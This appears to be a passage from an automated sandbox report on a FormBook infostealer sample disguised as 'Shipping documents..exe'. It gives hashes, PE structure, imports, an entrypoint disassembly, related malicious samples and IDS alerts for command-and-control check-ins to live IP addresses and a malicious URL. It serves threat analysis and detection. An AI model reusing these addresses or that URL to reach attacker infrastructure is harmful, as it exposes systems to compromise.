	H1CYDJ8LQe.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	p4rsJEIb7k.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	SECRFQ2024-0627 - ON HAND PROJECT - NEOM PROJECTS - SAUDI ELAF Co..exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	REVISED PO NO.8389.exe	Get hash	malicious	AgentTesla	Browse	164.68.127.9
	COMMERCIAL-DOKUMEN-YANG-DIREVISI.exe	Get hash	malicious	FormBook	Browse	161.97.142.144
	evhopi.ps1	Get hash	malicious	LummaC	Browse	173.249.62.85
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	161.97.132.254
	https://v90hdblg6c012.b-cdn.net/ppo45-fill-captch.html	Get hash	malicious	LummaC	Browse	173.249.62.84
VNPT-AS-VNVNPTCorpVN	D7R Image_capture 28082024 JPEG FILE.exe	Get hash	malicious	FormBook	Browse	203.161.46.201
	56ck70s0BI.exe	Get hash	malicious	FormBook	Browse	203.161.41.204
	p4rsJEIb7k.exe	Get hash	malicious	FormBook	Browse	203.161.41.204
	arm.elf	Get hash	malicious	Mirai, Gafgyt	Browse	14.250.58.12
	sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	14.255.140.94
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	203.161.49.193
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	14.190.8.166
	arm4.elf	Get hash	malicious	Mirai	Browse	14.237.62.11
	m68k.elf	Get hash	malicious	Mirai	Browse	113.162.218.53
	mips.elf	Get hash	malicious	Mirai	Browse	113.162.218.36

Process:	C:\Windows\SysWOW64\ktmutil.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bothsidedness

Download File

Process:	C:\Users\user\Desktop\Shipping documents..exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.9936799190369054
Encrypted:	true
SSDEEP:	6144:5ZOs4Mw2mkCK2INv74qZzpLZARhryg8iOmMU7w3WcR04D:6sjw9ShptOkgemMU7hc/D
MD5:	D00088C0090AD25DB25DD4440F8AF2E6
SHA1:	4C850583ADC2F3CCEDFABBED405D88DBF93DA44E
SHA-256:	CFB5905A487282B41BDD24CC4598B1A4A6DAFF79C28B1DA4687D3B8486BE3634
SHA-512:	3759B1C510D3FBA4FCEB75AF4279F3FD7FE827219902C2D3AC8C0D609884A7019A5996646A20A9C8622A595F3F8231CAC2B6DE8AB202F447132A56135306A4EC
Malicious:	false
Reputation:	low
Preview:	~o.e.MHSH...J...t.RD..LE...M5OCYIBGHHRG35Q7OMHSHM5OCYIBGH.RG3;N.AM.Z.l.N..h./!;r7AZ6E. h0)#[ 7y+'g:=<gZ[qs..h>')PaNTCfGHHRG35(6F.u3/../$.t" .R....1P.W...qU(.C..t(5.a\2_r-/.HM5OCYIB..HR.24Q..)SHM5OCYI.GJIYF85QcKMHSHM5OCY.VGHHBG35!3OMH.HM%OCYKBGNHRG35Q7IMHSHM5OC)MBGJHRG35Q5O..SH]5OSYIBGXHRW35Q7OMXSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5Om-,:3HHR.a1Q7_MHS.I5OSYIBGHHRG35Q7OMhSH-5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OCYIBGHHRG35Q7OMHSHM5OC

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.51884649812339
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Shipping documents..exe
File size:	1'322'107 bytes
MD5:	3fbab2b42254852fc8d71f14b2862a43
SHA1:	51b8d33a892260ec1d0d5aee4971998756532f0c
SHA256:	0452cf013ff76bb1e537ac2b17b081fc2eaf7c5d302f3e838e1e854de2850896
SHA512:	d8fe9ea34aab1f890cdea16f2b6c081e0e9201443066cb0e3d706e093bc8df94bd2ab34eecdfbfdbcec0cdb80d69a296f75f72f122c76cdda280c9fda931ab70
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCnYOl/SkYRg0JhFnnY01+NJ3UTh:7JZoQrbTFZY1iaCYW/3YRBhFnvF
TLSH:	3D55E121F5D69036C2B323B19E7FF36A963D69361327D19B23C82D325EA05416B39723
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d3bf8a7746a8d1ee8f6e5960c3f69378

Entrypoint Preview

Instruction
call 00007F6F1110D79Bh
jmp 00007F6F1110460Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F6F1110478Ah
cmp edi, eax
jc 00007F6F11104926h
cmp ecx, 00000080h
jc 00007F6F1110479Eh
cmp dword ptr [004A9724h], 00000000h
je 00007F6F11104795h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F6F11104787h
jmp 00007F6F11104B62h
test edi, 00000003h
jne 00007F6F11104796h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F6F111047ABh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F6F1110478Eh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007F6F1357CF87h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F6F1110474Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x9328	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x9328	0x9400	495451d7eb8326bd9fa2714869ea6de8	False	0.49002322635135137	data	5.541804843154628	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-06T08:39:13.534070+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.6	49753	TCP
2024-11-06T08:39:43.494387+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49911	154.92.61.37	80	TCP
2024-11-06T08:39:43.494387+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49911	154.92.61.37	80	TCP
2024-11-06T08:39:51.605543+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.6	49957	TCP
2024-11-06T08:40:00.378127+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49983	3.33.130.190	80	TCP
2024-11-06T08:40:02.083678+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49984	3.33.130.190	80	TCP
2024-11-06T08:40:04.597512+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49985	3.33.130.190	80	TCP
2024-11-06T08:40:07.142021+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49986	3.33.130.190	80	TCP
2024-11-06T08:40:07.142021+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49986	3.33.130.190	80	TCP
2024-11-06T08:40:13.021440+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49987	203.161.49.193	80	TCP
2024-11-06T08:40:15.547543+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49988	203.161.49.193	80	TCP
2024-11-06T08:40:18.109970+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49989	203.161.49.193	80	TCP
2024-11-06T08:40:20.672098+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49990	203.161.49.193	80	TCP
2024-11-06T08:40:20.672098+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49990	203.161.49.193	80	TCP
2024-11-06T08:40:26.374694+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49991	3.33.130.190	80	TCP
2024-11-06T08:40:28.933962+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49993	3.33.130.190	80	TCP
2024-11-06T08:40:31.782789+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49994	3.33.130.190	80	TCP
2024-11-06T08:40:34.357565+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49995	3.33.130.190	80	TCP
2024-11-06T08:40:34.357565+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49995	3.33.130.190	80	TCP
2024-11-06T08:40:40.033394+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49996	3.33.130.190	80	TCP
2024-11-06T08:40:42.594794+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49997	3.33.130.190	80	TCP
2024-11-06T08:40:45.156854+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	49998	3.33.130.190	80	TCP
2024-11-06T08:40:47.887323+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	49999	3.33.130.190	80	TCP
2024-11-06T08:40:47.887323+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	49999	3.33.130.190	80	TCP
2024-11-06T08:40:53.673384+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50000	198.252.98.54	80	TCP
2024-11-06T08:40:56.299646+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50001	198.252.98.54	80	TCP
2024-11-06T08:40:59.697416+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50002	198.252.98.54	80	TCP
2024-11-06T08:41:01.413455+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50003	198.252.98.54	80	TCP
2024-11-06T08:41:01.413455+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50003	198.252.98.54	80	TCP
2024-11-06T08:41:07.459323+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50005	103.224.182.242	80	TCP
2024-11-06T08:41:10.004531+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50006	103.224.182.242	80	TCP
2024-11-06T08:41:12.550081+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50007	103.224.182.242	80	TCP
2024-11-06T08:41:15.086787+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50008	103.224.182.242	80	TCP
2024-11-06T08:41:15.086787+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50008	103.224.182.242	80	TCP
2024-11-06T08:41:21.763239+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50009	154.23.184.218	80	TCP
2024-11-06T08:41:24.322356+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50010	154.23.184.218	80	TCP
